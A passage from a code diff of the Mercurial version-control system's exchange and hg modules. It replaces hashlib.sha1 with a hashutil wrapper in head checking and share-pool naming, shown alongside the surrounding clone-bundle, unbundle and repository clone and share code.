     The part data consists of pairs of 20 byte changeset node and .hgtags
     filenodes raw values.
     """
     # Don't send unless:
     # - changeset are being exchanged,
     # - the client supports it.
     if not b2caps or not (kwargs.get('cg', True) and b'hgtagsfnodes' in b2caps):
         return
 
     outgoing = _computeoutgoing(repo, heads, common)
     bundle2.addparttagsfnodescache(repo, bundler, outgoing)
 
 
 @getbundle2partsgenerator(b'cache:rev-branch-cache')
 def _getbundlerevbranchcache(
     bundler,
     repo,
     source,
     bundlecaps=None,
     b2caps=None,
     heads=None,
     common=None,
     **kwargs
 ):
     """Transfer the rev-branch-cache mapping
 
     The payload is a series of data related to each branch
 
     1) branch name length
     2) number of open heads
     3) number of closed heads
     4) open heads nodes
     5) closed heads nodes
     """
     # Don't send unless:
     # - changeset are being exchanged,
     # - the client supports it.
     # - narrow bundle isn't in play (not currently compatible).
     if (
         not kwargs.get('cg', True)
         or not b2caps
         or b'rev-branch-cache' not in b2caps
         or kwargs.get('narrow', False)
         or repo.ui.has_section(_NARROWACL_SECTION)
     ):
         return
 
     outgoing = _computeoutgoing(repo, heads, common)
     bundle2.addpartrevbranchcache(repo, bundler, outgoing)
 
 
 def check_heads(repo, their_heads, context):
     """check if the heads of a repo have been modified
 
     Used by peer for unbundling.
     """
     heads = repo.heads()
-    heads_hash = hashlib.sha1(b''.join(sorted(heads))).digest()
+    heads_hash = hashutil.sha1(b''.join(sorted(heads))).digest()
     if not (
         their_heads == [b'force']
         or their_heads == heads
         or their_heads == [b'hashed', heads_hash]
     ):
         # someone else committed/pushed/unbundled while we
         # were transferring data
         raise error.PushRaced(
             b'repository changed while %s - please try again' % context
         )
 
 
 def unbundle(repo, cg, heads, source, url):
     """Apply a bundle to a repo.
 
     this function makes sure the repo is locked during the application and have
     mechanism to check that no push race occurred between the creation of the
     bundle and its application.
 
     If the push was raced as PushRaced exception is raised."""
     r = 0
     # need a transaction when processing a bundle2 stream
     # [wlock, lock, tr] - needs to be an array so nested functions can modify it
     lockandtr = [None, None, None]
     recordout = None
     # quick fix for output mismatch with bundle2 in 3.4
     captureoutput = repo.ui.configbool(
         b'experimental', b'bundle2-output-capture'
     )
     if url.startswith(b'remote:http:') or url.startswith(b'remote:https:'):
         captureoutput = True
     try:
         # note: outside bundle1, 'heads' is expected to be empty and this
         # 'check_heads' call wil be a no-op
         check_heads(repo, heads, b'uploading changes')
         # push can proceed
         if not isinstance(cg, bundle2.unbundle20):
             # legacy case: bundle1 (changegroup 01)
             txnname = b"\n".join([source, util.hidepassword(url)])
             with repo.lock(), repo.transaction(txnname) as tr:
                 op = bundle2.applybundle(repo, cg, tr, source, url)
                 r = bundle2.combinechangegroupresults(op)
         else:
             r = None
             try:
 
                 def gettransaction():
                     if not lockandtr[2]:
                         if not bookmod.bookmarksinstore(repo):
                             lockandtr[0] = repo.wlock()
                         lockandtr[1] = repo.lock()
                         lockandtr[2] = repo.transaction(source)
                         lockandtr[2].hookargs[b'source'] = source
                         lockandtr[2].hookargs[b'url'] = url
                         lockandtr[2].hookargs[b'bundle2'] = b'1'
                     return lockandtr[2]
 
                 # Do greedy locking by default until we're satisfied with lazy
                 # locking.
                 if not repo.ui.configbool(
                     b'experimental', b'bundle2lazylocking'
                 ):
                     gettransaction()
 
                 op = bundle2.bundleoperation(
                     repo,
                     gettransaction,
                     captureoutput=captureoutput,
                     source=b'push',
                 )
                 try:
                     op = bundle2.processbundle(repo, cg, op=op)
                 finally:
                     r = op.reply
                     if captureoutput and r is not None:
                         repo.ui.pushbuffer(error=True, subproc=True)
 
                         def recordout(output):
                             r.newpart(b'output', data=output, mandatory=False)
 
                 if lockandtr[2] is not None:
                     lockandtr[2].close()
             except BaseException as exc:
                 exc.duringunbundle2 = True
                 if captureoutput and r is not None:
                     parts = exc._bundle2salvagedoutput = r.salvageoutput()
 
                     def recordout(output):
                         part = bundle2.bundlepart(
                             b'output', data=output, mandatory=False
                         )
                         parts.append(part)
 
                 raise
     finally:
         lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
         if recordout is not None:
             recordout(repo.ui.popbuffer())
     return r
 
 
 def _maybeapplyclonebundle(pullop):
     """Apply a clone bundle from a remote, if possible."""
 
     repo = pullop.repo
     remote = pullop.remote
 
     if not repo.ui.configbool(b'ui', b'clonebundles'):
         return
 
     # Only run if local repo is empty.
     if len(repo):
         return
 
     if pullop.heads:
         return
 
     if not remote.capable(b'clonebundles'):
         return
 
     with remote.commandexecutor() as e:
         res = e.callcommand(b'clonebundles', {}).result()
 
     # If we call the wire protocol command, that's good enough to record the
     # attempt.
     pullop.clonebundleattempted = True
 
     entries = parseclonebundlesmanifest(repo, res)
     if not entries:
         repo.ui.note(
             _(
                 b'no clone bundles available on remote; '
                 b'falling back to regular clone\n'
             )
         )
         return
 
     entries = filterclonebundleentries(
         repo, entries, streamclonerequested=pullop.streamclonerequested
     )
 
     if not entries:
         # There is a thundering herd concern here. However, if a server
         # operator doesn't advertise bundles appropriate for its clients,
         # they deserve what's coming. Furthermore, from a client's
         # perspective, no automatic fallback would mean not being able to
         # clone!
         repo.ui.warn(
             _(
                 b'no compatible clone bundles available on server; '
                 b'falling back to regular clone\n'
             )
         )
         repo.ui.warn(
             _(b'(you may want to report this to the server operator)\n')
         )
         return
 
     entries = sortclonebundleentries(repo.ui, entries)
 
     url = entries[0][b'URL']
     repo.ui.status(_(b'applying clone bundle from %s\n') % url)
     if trypullbundlefromurl(repo.ui, repo, url):
         repo.ui.status(_(b'finished applying clone bundle\n'))
     # Bundle failed.
     #
     # We abort by default to avoid the thundering herd of
     # clients flooding a server that was expecting expensive
     # clone load to be offloaded.
     elif repo.ui.configbool(b'ui', b'clonebundlefallback'):
         repo.ui.warn(_(b'falling back to normal clone\n'))
     else:
         raise error.Abort(
             _(b'error applying bundle'),
             hint=_(
                 b'if this error persists, consider contacting '
                 b'the server operator or disable clone '
                 b'bundles via '
                 b'"--config ui.clonebundles=false"'
             ),
         )
 
 
 def parseclonebundlesmanifest(repo, s):
     """Parses the raw text of a clone bundles manifest.
 
     Returns a list of dicts. The dicts have a ``URL`` key corresponding
     to the URL and other keys are the attributes for the entry.
     """
     m = []
     for line in s.splitlines():
         fields = line.split()
         if not fields:
             continue
         attrs = {b'URL': fields[0]}
         for rawattr in fields[1:]:
             key, value = rawattr.split(b'=', 1)
             key = urlreq.unquote(key)
             value = urlreq.unquote(value)
             attrs[key] = value
 
             # Parse BUNDLESPEC into components. This makes client-side
             # preferences easier to specify since you can prefer a single
             # component of the BUNDLESPEC.
             if key == b'BUNDLESPEC':
                 try:
                     bundlespec = parsebundlespec(repo, value)
                     attrs[b'COMPRESSION'] = bundlespec.compression
                     attrs[b'VERSION'] = bundlespec.version
                 except error.InvalidBundleSpecification:
                     pass
                 except error.UnsupportedBundleSpecification:
                     pass
 
         m.append(attrs)
 
     return m
 
 
 def isstreamclonespec(bundlespec):
     # Stream clone v1
     if bundlespec.wirecompression == b'UN' and bundlespec.wireversion == b's1':
         return True
 
     # Stream clone v2
     if (
         bundlespec.wirecompression == b'UN'
         and bundlespec.wireversion == b'02'
         and bundlespec.contentopts.get(b'streamv2')
     ):
         return True
 
     return False
 
 
 def filterclonebundleentries(repo, entries, streamclonerequested=False):
     """Remove incompatible clone bundle manifest entries.
 
     Accepts a list of entries parsed with ``parseclonebundlesmanifest``
     and returns a new list consisting of only the entries that this client
     should be able to apply.
 
     There is no guarantee we'll be able to apply all returned entries because
     the metadata we use to filter on may be missing or wrong.
     """
     newentries = []
     for entry in entries:
         spec = entry.get(b'BUNDLESPEC')
         if spec:
             try:
                 bundlespec = parsebundlespec(repo, spec, strict=True)
 
                 # If a stream clone was requested, filter out non-streamclone
                 # entries.
                 if streamclonerequested and not isstreamclonespec(bundlespec):
                     repo.ui.debug(
                         b'filtering %s because not a stream clone\n'
                         % entry[b'URL']
                     )
                     continue
 
             except error.InvalidBundleSpecification as e:
                 repo.ui.debug(stringutil.forcebytestr(e) + b'\n')
                 continue
             except error.UnsupportedBundleSpecification as e:
                 repo.ui.debug(
                     b'filtering %s because unsupported bundle '
                     b'spec: %s\n' % (entry[b'URL'], stringutil.forcebytestr(e))
                 )
                 continue
         # If we don't have a spec and requested a stream clone, we don't know
         # what the entry is so don't attempt to apply it.
         elif streamclonerequested:
             repo.ui.debug(
                 b'filtering %s because cannot determine if a stream '
                 b'clone bundle\n' % entry[b'URL']
             )
             continue
 
         if b'REQUIRESNI' in entry and not sslutil.hassni:
             repo.ui.debug(
                 b'filtering %s because SNI not supported\n' % entry[b'URL']
             )
             continue
 
         newentries.append(entry)
 
     return newentries
 
 
 class clonebundleentry(object):
     """Represents an item in a clone bundles manifest.
 
     This rich class is needed to support sorting since sorted() in Python 3
     doesn't support ``cmp`` and our comparison is complex enough that ``key=``
     won't work.
     """
 
     def __init__(self, value, prefers):
         self.value = value
         self.prefers = prefers
 
     def _cmp(self, other):
         for prefkey, prefvalue in self.prefers:
             avalue = self.value.get(prefkey)
             bvalue = other.value.get(prefkey)
 
             # Special case for b missing attribute and a matches exactly.
             if avalue is not None and bvalue is None and avalue == prefvalue:
                 return -1
 
             # Special case for a missing attribute and b matches exactly.
             if bvalue is not None and avalue is None and bvalue == prefvalue:
                 return 1
 
             # We can't compare unless attribute present on both.
             if avalue is None or bvalue is None:
                 continue
 
             # Same values should fall back to next attribute.
             if avalue == bvalue:
                 continue
 
             # Exact matches come first.
             if avalue == prefvalue:
                 return -1
             if bvalue == prefvalue:
                 return 1
 
             # Fall back to next attribute.
             continue
 
         # If we got here we couldn't sort by attributes and prefers. Fall
         # back to index order.
         return 0
 
     def __lt__(self, other):
         return self._cmp(other) < 0
 
     def __gt__(self, other):
         return self._cmp(other) > 0
 
     def __eq__(self, other):
         return self._cmp(other) == 0
 
     def __le__(self, other):
         return self._cmp(other) <= 0
 
     def __ge__(self, other):
         return self._cmp(other) >= 0
 
     def __ne__(self, other):
         return self._cmp(other) != 0
 
 
 def sortclonebundleentries(ui, entries):
     prefers = ui.configlist(b'ui', b'clonebundleprefers')
     if not prefers:
         return list(entries)
 
     prefers = [p.split(b'=', 1) for p in prefers]
 
     items = sorted(clonebundleentry(v, prefers) for v in entries)
     return [i.value for i in items]
 
 
 def trypullbundlefromurl(ui, repo, url):
     """Attempt to apply a bundle from a URL."""
     with repo.lock(), repo.transaction(b'bundleurl') as tr:
         try:
             fh = urlmod.open(ui, url)
             cg = readbundle(ui, fh, b'stream')
 
             if isinstance(cg, streamclone.streamcloneapplier):
                 cg.apply(repo)
             else:
                 bundle2.applybundle(repo, cg, tr, b'clonebundles', url)
             return True
         except urlerr.httperror as e:
             ui.warn(
                 _(b'HTTP error fetching bundle: %s\n')
                 % stringutil.forcebytestr(e)
             )
         except urlerr.urlerror as e:
             ui.warn(
                 _(b'error fetching bundle: %s\n')
                 % stringutil.forcebytestr(e.reason)
             )
 
         return False

mercurial/hg.py

@@ -1,1460 +1,1459
 # hg.py - repository classes for mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 # Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
-import hashlib
 import os
 import shutil
 import stat
 
 from .i18n import _
 from .node import nullid
 from .pycompat import getattr
 
 from . import (
     bookmarks,
     bundlerepo,
     cacheutil,
     cmdutil,
     destutil,
     discovery,
     error,
     exchange,
     extensions,
     httppeer,
     localrepo,
     lock,
     logcmdutil,
     logexchange,
     merge as mergemod,
     narrowspec,
     node,
     phases,
     pycompat,
     scmutil,
     sshpeer,
     statichttprepo,
     ui as uimod,
     unionrepo,
     url,
     util,
     verify as verifymod,
     vfs as vfsmod,
 )
-
+from .utils import hashutil
 from .interfaces import repository as repositorymod
 
 release = lock.release
 
 # shared features
 sharedbookmarks = b'bookmarks'
 
 
 def _local(path):
     path = util.expandpath(util.urllocalpath(path))
 
     try:
         isfile = os.path.isfile(path)
     # Python 2 raises TypeError, Python 3 ValueError.
     except (TypeError, ValueError) as e:
         raise error.Abort(
             _(b'invalid path %s: %s') % (path, pycompat.bytestr(e))
         )
 
     return isfile and bundlerepo or localrepo
 
 
 def addbranchrevs(lrepo, other, branches, revs):
     peer = other.peer()  # a courtesy to callers using a localrepo for other
     hashbranch, branches = branches
     if not hashbranch and not branches:
         x = revs or None
         if revs:
             y = revs[0]
         else:
             y = None
         return x, y
     if revs:
         revs = list(revs)
     else:
         revs = []
 
     if not peer.capable(b'branchmap'):
         if branches:
             raise error.Abort(_(b"remote branch lookup not supported"))
         revs.append(hashbranch)
         return revs, revs[0]
 
     with peer.commandexecutor() as e:
         branchmap = e.callcommand(b'branchmap', {}).result()
 
     def primary(branch):
         if branch == b'.':
             if not lrepo:
                 raise error.Abort(_(b"dirstate branch not accessible"))
             branch = lrepo.dirstate.branch()
         if branch in branchmap:
             revs.extend(node.hex(r) for r in reversed(branchmap[branch]))
             return True
         else:
             return False
 
     for branch in branches:
         if not primary(branch):
             raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
     if hashbranch:
         if not primary(hashbranch):
             revs.append(hashbranch)
     return revs, revs[0]
 
 
 def parseurl(path, branches=None):
     '''parse url#branch, returning (url, (branch, branches))'''
 
     u = util.url(path)
     branch = None
     if u.fragment:
         branch = u.fragment
         u.fragment = None
     return bytes(u), (branch, branches or [])
 
 
 schemes = {
     b'bundle': bundlerepo,
     b'union': unionrepo,
     b'file': _local,
     b'http': httppeer,
     b'https': httppeer,
     b'ssh': sshpeer,
     b'static-http': statichttprepo,
 }
 
 
 def _peerlookup(path):
     u = util.url(path)
     scheme = u.scheme or b'file'
     thing = schemes.get(scheme) or schemes[b'file']
     try:
         return thing(path)
     except TypeError:
         # we can't test callable(thing) because 'thing' can be an unloaded
         # module that implements __call__
         if not util.safehasattr(thing, b'instance'):
             raise
         return thing
 
 
 def islocal(repo):
     '''return true if repo (or path pointing to repo) is local'''
     if isinstance(repo, bytes):
         try:
             return _peerlookup(repo).islocal(repo)
         except AttributeError:
             return False
     return repo.local()
 
 
 def openpath(ui, path, sendaccept=True):
     '''open path with open if local, url.open if remote'''
     pathurl = util.url(path, parsequery=False, parsefragment=False)
     if pathurl.islocal():
         return util.posixfile(pathurl.localpath(), b'rb')
     else:
         return url.open(ui, path, sendaccept=sendaccept)
 
 
 # a list of (ui, repo) functions called for wire peer initialization
 wirepeersetupfuncs = []
 
 
 def _peerorrepo(
     ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
 ):
     """return a repository object for the specified path"""
     obj = _peerlookup(path).instance(
         ui, path, create, intents=intents, createopts=createopts
     )
     ui = getattr(obj, "ui", ui)
     for f in presetupfuncs or []:
         f(ui, obj)
     ui.log(b'extension', b'- executing reposetup hooks\n')
     with util.timedcm('all reposetup') as allreposetupstats:
         for name, module in extensions.extensions(ui):
             ui.log(b'extension', b'  - running reposetup for %s\n', name)
             hook = getattr(module, 'reposetup', None)
             if hook:
                 with util.timedcm('reposetup %r', name) as stats:
                     hook(ui, obj)
                 ui.log(
                     b'extension', b'  > reposetup for %s took %s\n', name, stats
                 )
     ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
     if not obj.local():
         for f in wirepeersetupfuncs:
             f(ui, obj)
     return obj
 
 
 def repository(
     ui,
     path=b'',
     create=False,
     presetupfuncs=None,
     intents=None,
     createopts=None,
 ):
     """return a repository object for the specified path"""
     peer = _peerorrepo(
         ui,
         path,
         create,
         presetupfuncs=presetupfuncs,
         intents=intents,
         createopts=createopts,
     )
     repo = peer.local()
     if not repo:
         raise error.Abort(
             _(b"repository '%s' is not local") % (path or peer.url())
         )
     return repo.filtered(b'visible')
 
 
 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
     '''return a repository peer for the specified path'''
     rui = remoteui(uiorrepo, opts)
     return _peerorrepo(
         rui, path, create, intents=intents, createopts=createopts
     ).peer()
 
 
 def defaultdest(source):
     '''return default destination of clone if none is given
 
     >>> defaultdest(b'foo')
     'foo'
     >>> defaultdest(b'/foo/bar')
     'bar'
     >>> defaultdest(b'/')
     ''
     >>> defaultdest(b'')
     ''
     >>> defaultdest(b'http://example.org/')
     ''
     >>> defaultdest(b'http://example.org/foo/')
     'foo'
     '''
     path = util.url(source).path
     if not path:
         return b''
     return os.path.basename(os.path.normpath(path))
 
 
 def sharedreposource(repo):
     """Returns repository object for source repository of a shared repo.
 
     If repo is not a shared repository, returns None.
     """
     if repo.sharedpath == repo.path:
         return None
 
     if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
         return repo.srcrepo
 
     # the sharedpath always ends in the .hg; we want the path to the repo
     source = repo.vfs.split(repo.sharedpath)[0]
     srcurl, branches = parseurl(source)
     srcrepo = repository(repo.ui, srcurl)
     repo.srcrepo = srcrepo
     return srcrepo
 
 
 def share(
     ui,
     source,
     dest=None,
     update=True,
     bookmarks=True,
     defaultpath=None,
     relative=False,
 ):
     '''create a shared repository'''
 
     if not islocal(source):
         raise error.Abort(_(b'can only share local repositories'))
 
     if not dest:
         dest = defaultdest(source)
     else:
         dest = ui.expandpath(dest)
 
     if isinstance(source, bytes):
         origsource = ui.expandpath(source)
         source, branches = parseurl(origsource)
         srcrepo = repository(ui, source)
         rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
     else:
         srcrepo = source.local()
         checkout = None
 
     shareditems = set()
     if bookmarks:
         shareditems.add(sharedbookmarks)
 
     r = repository(
         ui,
         dest,
         create=True,
         createopts={
             b'sharedrepo': srcrepo,
             b'sharedrelative': relative,
             b'shareditems': shareditems,
         },
     )
 
     postshare(srcrepo, r, defaultpath=defaultpath)
     r = repository(ui, dest)
     _postshareupdate(r, update, checkout=checkout)
     return r
 
 
 def unshare(ui, repo):
     """convert a shared repository to a normal one
 
     Copy the store data to the repo and remove the sharedpath data.
 
     Returns a new repository object representing the unshared repository.
 
     The passed repository object is not usable after this function is
     called.
     """
 
     with repo.lock():
         # we use locks here because if we race with commit, we
         # can end up with extra data in the cloned revlogs that's
         # not pointed to by changesets, thus causing verify to
         # fail
         destlock = copystore(ui, repo, repo.path)
         with destlock or util.nullcontextmanager():
 
             sharefile = repo.vfs.join(b'sharedpath')
             util.rename(sharefile, sharefile + b'.old')
 
             repo.requirements.discard(b'shared')
             repo.requirements.discard(b'relshared')
             repo._writerequirements()
 
     # Removing share changes some fundamental properties of the repo instance.
     # So we instantiate a new repo object and operate on it rather than
     # try to keep the existing repo usable.
     newrepo = repository(repo.baseui, repo.root, create=False)
 
     # TODO: figure out how to access subrepos that exist, but were previously
     #       removed from .hgsub
     c = newrepo[b'.']
     subs = c.substate
     for s in sorted(subs):
         c.sub(s).unshare()
 
     localrepo.poisonrepository(repo)
 
     return newrepo
 
 
 def postshare(sourcerepo, destrepo, defaultpath=None):
     """Called after a new shared repo is created.
 
     The new repo only has a requirements file and pointer to the source.
     This function configures additional shared data.
 
     Extensions can wrap this function and write additional entries to
     destrepo/.hg/shared to indicate additional pieces of data to be shared.
     """
     default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
     if default:
         template = b'[paths]\ndefault = %s\n'
         destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
     if repositorymod.NARROW_REQUIREMENT in sourcerepo.requirements:
         with destrepo.wlock():
             narrowspec.copytoworkingcopy(destrepo)
 
 
 def _postshareupdate(repo, update, checkout=None):
     """Maybe perform a working directory update after a shared repo is created.
 
     ``update`` can be a boolean or a revision to update to.
     """
     if not update:
         return
 
     repo.ui.status(_(b"updating working directory\n"))
     if update is not True:
         checkout = update
     for test in (checkout, b'default', b'tip'):
         if test is None:
             continue
         try:
             uprev = repo.lookup(test)
             break
         except error.RepoLookupError:
             continue
     _update(repo, uprev)
 
 
 def copystore(ui, srcrepo, destpath):
     '''copy files from store of srcrepo in destpath
 
     returns destlock
     '''
     destlock = None
     try:
         hardlink = None
         topic = _(b'linking') if hardlink else _(b'copying')
         with ui.makeprogress(topic, unit=_(b'files')) as progress:
             num = 0
             srcpublishing = srcrepo.publishing()
             srcvfs = vfsmod.vfs(srcrepo.sharedpath)
             dstvfs = vfsmod.vfs(destpath)
             for f in srcrepo.store.copylist():
                 if srcpublishing and f.endswith(b'phaseroots'):
                     continue
                 dstbase = os.path.dirname(f)
                 if dstbase and not dstvfs.exists(dstbase):
                     dstvfs.mkdir(dstbase)
                 if srcvfs.exists(f):
                     if f.endswith(b'data'):
                         # 'dstbase' may be empty (e.g. revlog format 0)
                         lockfile = os.path.join(dstbase, b"lock")
                         # lock to avoid premature writing to the target
                         destlock = lock.lock(dstvfs, lockfile)
                     hardlink, n = util.copyfiles(
                         srcvfs.join(f), dstvfs.join(f), hardlink, progress
                     )
                     num += n
             if hardlink:
                 ui.debug(b"linked %d files\n" % num)
             else:
                 ui.debug(b"copied %d files\n" % num)
         return destlock
     except:  # re-raises
         release(destlock)
         raise
 
 
 def clonewithshare(
     ui,
     peeropts,
     sharepath,
     source,
     srcpeer,
     dest,
     pull=False,
     rev=None,
     update=True,
     stream=False,
 ):
     """Perform a clone using a shared repo.
 
     The store for the repository will be located at <sharepath>/.hg. The
     specified revisions will be cloned or pulled from "source". A shared repo
     will be created at "dest" and a working copy will be created if "update" is
     True.
     """
     revs = None
     if rev:
         if not srcpeer.capable(b'lookup'):
             raise error.Abort(
                 _(
                     b"src repository does not support "
                     b"revision lookup and so doesn't "
                     b"support clone by revision"
                 )
             )
 
         # TODO this is batchable.
         remoterevs = []
         for r in rev:
             with srcpeer.commandexecutor() as e:
                 remoterevs.append(
                     e.callcommand(b'lookup', {b'key': r,}).result()
                 )
         revs = remoterevs
 
     # Obtain a lock before checking for or cloning the pooled repo otherwise
     # 2 clients may race creating or populating it.
     pooldir = os.path.dirname(sharepath)
     # lock class requires the directory to exist.
     try:
         util.makedir(pooldir, False)
     except OSError as e:
         if e.errno != errno.EEXIST:
             raise
 
     poolvfs = vfsmod.vfs(pooldir)
     basename = os.path.basename(sharepath)
 
     with lock.lock(poolvfs, b'%s.lock' % basename):
         if os.path.exists(sharepath):
             ui.status(
                 _(b'(sharing from existing pooled repository %s)\n') % basename
             )
         else:
             ui.status(
                 _(b'(sharing from new pooled repository %s)\n') % basename
             )
             # Always use pull mode because hardlinks in share mode don't work
             # well. Never update because working copies aren't necessary in
             # share mode.
             clone(
                 ui,
                 peeropts,
                 source,
                 dest=sharepath,
                 pull=True,
                 revs=rev,
                 update=False,
                 stream=stream,
             )
 
     # Resolve the value to put in [paths] section for the source.
     if islocal(source):
         defaultpath = os.path.abspath(util.urllocalpath(source))
     else:
         defaultpath = source
 
     sharerepo = repository(ui, path=sharepath)
     destrepo = share(
         ui,
         sharerepo,
         dest=dest,
         update=False,
         bookmarks=False,
         defaultpath=defaultpath,
     )
 
     # We need to perform a pull against the dest repo to fetch bookmarks
     # and other non-store data that isn't shared by default. In the case of
     # non-existing shared repo, this means we pull from the remote twice. This
     # is a bit weird. But at the time it was implemented, there wasn't an easy
     # way to pull just non-changegroup data.
     exchange.pull(destrepo, srcpeer, heads=revs)
 
     _postshareupdate(destrepo, update)
 
     return srcpeer, peer(ui, peeropts, dest)
 
 
 # Recomputing branch cache might be slow on big repos,
 # so just copy it
 def _copycache(srcrepo, dstcachedir, fname):
     """copy a cache from srcrepo to destcachedir (if it exists)"""
     srcbranchcache = srcrepo.vfs.join(b'cache/%s' % fname)
     dstbranchcache = os.path.join(dstcachedir, fname)
     if os.path.exists(srcbranchcache):
         if not os.path.exists(dstcachedir):
             os.mkdir(dstcachedir)
         util.copyfile(srcbranchcache, dstbranchcache)
 
 
 def clone(
     ui,
     peeropts,
     source,
     dest=None,
     pull=False,
     revs=None,
     update=True,
     stream=False,
     branch=None,
     shareopts=None,
     storeincludepats=None,
     storeexcludepats=None,
     depth=None,
 ):
     """Make a copy of an existing repository.
 
     Create a copy of an existing repository in a new directory.  The
     source and destination are URLs, as passed to the repository
     function.  Returns a pair of repository peers, the source and
     newly created destination.
 
     The location of the source is added to the new repository's
     .hg/hgrc file, as the default to be used for future pulls and
     pushes.
 
     If an exception is raised, the partly cloned/updated destination
     repository will be deleted.
 
     Arguments:
 
     source: repository object or URL
 
     dest: URL of destination repository to create (defaults to base
     name of source repository)
 
     pull: always pull from source repository, even in local case or if the
     server prefers streaming
 
     stream: stream raw data uncompressed from repository (fast over
     LAN, slow over WAN)
 
     revs: revision to clone up to (implies pull=True)
 
     update: update working directory after clone completes, if
     destination is local repository (True means update to default rev,
     anything else is treated as a revision)
 
     branch: branches to clone
 
     shareopts: dict of options to control auto sharing behavior. The "pool" key
     activates auto sharing mode and defines the directory for stores. The
     "mode" key determines how to construct the directory name of the shared
     repository. "identity" means the name is derived from the node of the first
     changeset in the repository. "remote" means the name is derived from the
     remote's path/URL. Defaults to "identity."
 
     storeincludepats and storeexcludepats: sets of file patterns to include and
     exclude in the repository copy, respectively. If not defined, all files
     will be included (a "full" clone). Otherwise a "narrow" clone containing
     only the requested files will be performed. If ``storeincludepats`` is not
     defined but ``storeexcludepats`` is, ``storeincludepats`` is assumed to be
     ``path:.``. If both are empty sets, no files will be cloned.
     """
 
     if isinstance(source, bytes):
         origsource = ui.expandpath(source)
         source, branches = parseurl(origsource, branch)
         srcpeer = peer(ui, peeropts, source)
     else:
         srcpeer = source.peer()  # in case we were called with a localrepo
         branches = (None, branch or [])
         origsource = source = srcpeer.url()
     revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
 
     if dest is None:
         dest = defaultdest(source)
         if dest:
             ui.status(_(b"destination directory: %s\n") % dest)
     else:
         dest = ui.expandpath(dest)
 
     dest = util.urllocalpath(dest)
     source = util.urllocalpath(source)
 
     if not dest:
         raise error.Abort(_(b"empty destination path is not valid"))
 
     destvfs = vfsmod.vfs(dest, expandpath=True)
     if destvfs.lexists():
         if not destvfs.isdir():
             raise error.Abort(_(b"destination '%s' already exists") % dest)
         elif destvfs.listdir():
             raise error.Abort(_(b"destination '%s' is not empty") % dest)
 
     createopts = {}
     narrow = False
 
     if storeincludepats is not None:
         narrowspec.validatepatterns(storeincludepats)
         narrow = True
 
     if storeexcludepats is not None:
         narrowspec.validatepatterns(storeexcludepats)
         narrow = True
 
     if narrow:
         # Include everything by default if only exclusion patterns defined.
         if storeexcludepats and not storeincludepats:
             storeincludepats = {b'path:.'}
 
         createopts[b'narrowfiles'] = True
 
     if depth:
         createopts[b'shallowfilestore'] = True
 
     if srcpeer.capable(b'lfs-serve'):
         # Repository creation honors the config if it disabled the extension, so
         # we can't just announce that lfs will be enabled.  This check avoids
         # saying that lfs will be enabled, and then saying it's an unknown
         # feature.  The lfs creation option is set in either case so that a
         # requirement is added.  If the extension is explicitly disabled but the
         # requirement is set, the clone aborts early, before transferring any
         # data.
         createopts[b'lfs'] = True
 
         if extensions.disabledext(b'lfs'):
             ui.status(
                 _(
                     b'(remote is using large file support (lfs), but it is '
                     b'explicitly disabled in the local configuration)\n'
                 )
             )
         else:
             ui.status(
                 _(
                     b'(remote is using large file support (lfs); lfs will '
                     b'be enabled for this repository)\n'
                 )
             )
 
     shareopts = shareopts or {}
     sharepool = shareopts.get(b'pool')
     sharenamemode = shareopts.get(b'mode')
     if sharepool and islocal(dest):
         sharepath = None
         if sharenamemode == b'identity':
             # Resolve the name from the initial changeset in the remote
             # repository. This returns nullid when the remote is empty. It
             # raises RepoLookupError if revision 0 is filtered or otherwise
             # not available. If we fail to resolve, sharing is not enabled.
             try:
                 with srcpeer.commandexecutor() as e:
                     rootnode = e.callcommand(
                         b'lookup', {b'key': b'0',}
                     ).result()
 
                 if rootnode != node.nullid:
                     sharepath = os.path.join(sharepool, node.hex(rootnode))
                 else:
                     ui.status(
                         _(
                             b'(not using pooled storage: '
                             b'remote appears to be empty)\n'
                         )
                     )
             except error.RepoLookupError:
                 ui.status(
                     _(
                         b'(not using pooled storage: '
                         b'unable to resolve identity of remote)\n'
                     )
                 )
         elif sharenamemode == b'remote':
             sharepath = os.path.join(
-                sharepool, node.hex(hashlib.sha1(source).digest())
+                sharepool, node.hex(hashutil.sha1(source).digest())
             )
         else:
             raise error.Abort(
                 _(b'unknown share naming mode: %s') % sharenamemode
             )
 
         # TODO this is a somewhat arbitrary restriction.
         if narrow:
             ui.status(_(b'(pooled storage not supported for narrow clones)\n'))
             sharepath = None
 
         if sharepath:
             return clonewithshare(
                 ui,
                 peeropts,
                 sharepath,
                 source,
                 srcpeer,
                 dest,
                 pull=pull,
                 rev=revs,
                 update=update,
                 stream=stream,
             )
 
     srclock = destlock = cleandir = None
     srcrepo = srcpeer.local()
     try:
         abspath = origsource
         if islocal(origsource):
             abspath = os.path.abspath(util.urllocalpath(origsource))
 
         if islocal(dest):
             cleandir = dest
 
         copy = False
         if (
             srcrepo
             and srcrepo.cancopy()
             and islocal(dest)
             and not phases.hassecret(srcrepo)
         ):
             copy = not pull and not revs
 
         # TODO this is a somewhat arbitrary restriction.
         if narrow:
             copy = False
 
         if copy:
             try:
                 # we use a lock here because if we race with commit, we
                 # can end up with extra data in the cloned revlogs that's
                 # not pointed to by changesets, thus causing verify to
                 # fail
                 srclock = srcrepo.lock(wait=False)
             except error.LockError:
                 copy = False
 
         if copy:
             srcrepo.hook(b'preoutgoing', throw=True, source=b'clone')
             hgdir = os.path.realpath(os.path.join(dest, b".hg"))
             if not os.path.exists(dest):
                 util.makedirs(dest)
             else:
                 # only clean up directories we create ourselves
                 cleandir = hgdir
             try:
                 destpath = hgdir
                 util.makedir(destpath, notindexed=True)
             except OSError as inst:
                 if inst.errno == errno.EEXIST:
                     cleandir = None
                     raise error.Abort(
                         _(b"destination '%s' already exists") % dest
                     )
                 raise
 
             destlock = copystore(ui, srcrepo, destpath)
             # copy bookmarks over
